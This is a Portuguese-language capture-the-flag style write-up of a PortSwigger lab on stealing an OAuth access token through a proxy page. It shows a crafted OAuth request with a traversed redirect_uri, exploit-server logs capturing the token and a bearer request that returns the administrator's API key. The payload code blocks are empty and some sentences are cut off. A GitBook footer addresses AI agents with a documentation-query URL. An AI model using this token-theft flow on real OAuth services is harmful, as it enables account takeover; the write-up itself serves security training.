> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).
# Roubo de token de acesso OAuth via página proxy
Notas sobre roubo de token de acesso OAuth via página proxy para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.
### Roubo de tokens de acesso OAuth por meio de uma página proxy
**Objetivo do laboratório**
Este laboratório implementa um serviço OAuth que permite autenticação via uma rede social. / A validação insuficiente do lado do provedor do OAuth nos permite **direcionar o token de acesso para uma página arbitrária da aplicação cliente**.
O objetivo é:
* identify **uma vulnerabilidade secundária** na aplicação cliente,
* para usar como **página proxy** para exfiltrar o token de acesso OAuth do administrador,
* e então usar esse token para recuperar \*\*l
" O administrador abrirá qualquer conteúdo enviado pelo servidor operacional e já possui uma sessão OAuth ativa.
\*\* Análise da aplicação cliente\*\*
Uma \*\*área de comentários\*\* é observada abaixo dos artigos do blog.
Ao carregar o formulário de comentários, uma solicitação GET é enviada para
```http
GET /post/comment/comment-form
```
O formulário é carregado em um **iframe**, que é visível no código-fonte da página da postagem:
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
**Comportamento interessante de JavaScript**
O formulário contém um script JavaScript revelador:
```javascript
```
Pontos principais:
* O script \*\* lê o fragmento da URL (`#`)\*\*.
* Ele envia seu conteúdo para a página pai via `postMessage`.
* Isso torna possível *fazer com que um token OAuth presente no fragmento*\*.
O formulário de comentários pode, portanto, ser usado como **página proxy**.
**Exploração do OAuth via fluxo implícito**
O redirecionamento do OAuth é modificado para apontar para o formulário de comentários:
```bash
/../post/comment/comment-form
```
Exemplo de uma solicitação OAuth manipulada:
```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```
Após a autenticação, o servidor OAuth redireciona para:
* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU
O **o token é, portanto, exposto no fragmento da URL** e então transmitido ao pai via `postMessage`.
**Carga útil enviada à vítima**
Do servidor operacional, enviamos o seguinte conteúdo:
```javascript
```
Operação:
* O iframe aciona o fluxo implícito do OAuth.
* O token é injetado no fragmento da URL.
* O formulário de comentários enviado via `postMessage`.
* O script o captura e o exfiltra para o servidor operacional.
**Recuperação do token**
Nos logs do servidor operacional:
{% code overflow="wrap" %}
```bash
10.0.3.168 2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```
{% endcode %}
Após decodificar a URL, o token é:
* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
**Acesso à API com token roubado**
O token é usado para chamar o provedor OAuth `/me` endpoint
```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```
Resposta
{% code overflow="wrap" expandable="true" %}
```json
{
"sub":"administrator",
"apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```
{% endcode %}
**Resultado**
* O token OAuth do administrador foi roubado.
* A chave de API do administrador foi recuperada.
* O laboratório foi validado com sucesso.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
